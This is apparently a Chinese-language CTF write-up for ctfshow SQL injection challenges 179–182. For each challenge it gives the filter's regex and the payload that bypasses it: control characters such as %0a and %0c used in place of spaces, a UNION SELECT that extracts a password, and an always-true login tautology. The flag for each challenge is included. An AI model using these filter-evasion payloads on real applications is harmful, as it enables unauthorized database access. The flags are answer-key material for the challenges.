179
//对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
1'%0aand%0a1=1%23 成功
1'%0aand%0a1=2%23 失败
和上一题一样 加上过滤了/**/ 直接用上一题poc即可 上一题 我用的%0a代替的空格
flag:ctfshow{749a0f05-7e3e-414a-b11e-d3f150466413}
180
//对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
1'测试闭合,失败
1''测试,成功,应该只过滤单个'
1 测试,失败,空格被过滤
1%0a和1%0b均失败
1%0c成功
那几个注释符肯定也过滤了,用--%0c--代替
最终payload为:1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c-
flag:ctfshow{0f21875f-4651-4ab6-9aa1-60d73847145c}
181
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
直接万能语句不含空格一波梭
1'or'1'='1'--%0c--
flag:ctfshow{3c9d2c57-f44c-47cd-8072-88e050379c53}
182
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str); }
不管他过滤啥,反正没过滤等号,继续梭
1'or'1'='1'--%0c--
flag:ctfshow{a8c08c3e-80b1-43d4-a724-2890b9edd430}
网友评论